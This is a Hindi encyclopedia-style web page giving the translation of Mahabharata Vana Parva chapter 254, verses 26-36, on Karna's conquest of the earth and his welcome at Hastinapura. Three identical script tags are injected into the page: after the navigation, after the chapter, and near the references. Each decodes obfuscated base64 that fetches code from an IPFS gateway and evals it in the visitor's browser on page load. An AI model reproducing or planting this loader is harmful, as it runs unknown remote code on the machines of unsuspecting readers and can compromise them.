महाभारत वन पर्व अध्याय 254 श्लोक 26-36

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चतुष्‍पच्‍चाशदधिकद्विशततम (254) अध्‍याय: वन पर्व (घोषयात्रा पर्व )

महाभारत: वन पर्व: चतुष्‍पच्‍चाशदधिकद्विशततम अध्‍याय: श्लोक 26-36 का हिन्दी अनुवाद
कर्ण के द्वारा सारी पृथ्‍वी पर दिग्विजय और हस्तिनापुर में उसका सत्‍कार

‘महाबाहु कर्ण ! अधिक कहने से क्‍या लाभ ? तुम मेरी बात सुनो । सत्‍पुरूषरत्‍न ! तुम्‍हें अपना नाथ ( सहायक ) पाकर ही मैं सनाथ हूँ । ‘पुरूषसिंह ! समस्‍त पाण्‍डव अथवा अन्‍य श्रेष्‍ठतम नरेश तुम्‍हारी सोलहवीं कलाके बराबर भी नहीं हो सकते ।‘महाधनुर्धरकर्ण ! अब तुम मेरे पूज्‍य पिता धृतराष्‍ट्र तथा यशस्विनी माता गान्‍धारीको उसी प्रकार दर्शन करो, जैसे वज्रधारी इन्‍द्र माता अदितिका दर्शन करते हैं’ । जनमेजय ! तदनन्‍तर हस्तिनापुर नगर में सब ओर बड़ा भारी कोलाहल मच गया । अनेक प्रकारके हाहाकार सुनायी देने लगे । राजन् ! कोई तो कर्ण की प्रशंसा करते थे और दूसरे उसकी निन्‍दा करते थे । अन्‍य कितने ही राजा निन्‍दा और प्रशंसा कुछ भी न करके मौन थे । महाराज ! इस प्रकार शस्‍त्र धारियोंमें श्रेष्‍ठ सूतपुत्र कर्णने पर्वत, वन, स्‍थान, समुद्र, उद्यान, ऊँचे-नीचे देश, पुर और नगर, द्वीप और जलयुक्‍त प्रदेशोंसे युक्‍त सारी पृथ्‍वीको जीतकर थोड़े ही समयमें समस्‍त राजाओं को वशमें कर लिया और उनसे अटूट धनराशि लेकर वह राजा धृतराष्‍ट्रके समीप आया । शत्रुसूदन जनमेजय ! धर्मज्ञ वीर कर्णने अन्‍त:पुरमें प्रवेश करके गान्‍धारीसहित धृतराष्‍ट्रका दर्शन किया और पुत्रकी भॉंति उसने उनके दोनों चरण पकड़ लिये । धृतराष्‍ट्रने भी उसे प्रेमपूर्वक हृदयसे लगाकर विदा किया । भारत ! तबसे राजा दुर्योधन तथा सुबलपुत्र शकुनि युद्धमें कर्णद्वारा पाण्‍डवोंको पराजित हुआ ही समझने लगे ।

इस प्रकार श्रीमहाभारत वनपर्वके अन्‍तर्गत घोषयात्रापर्वमें कर्णदिग्विजयसम्‍बन्‍धी दो सौ चौवनवाँ अध्‍याय पूरा हुआ ।



« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>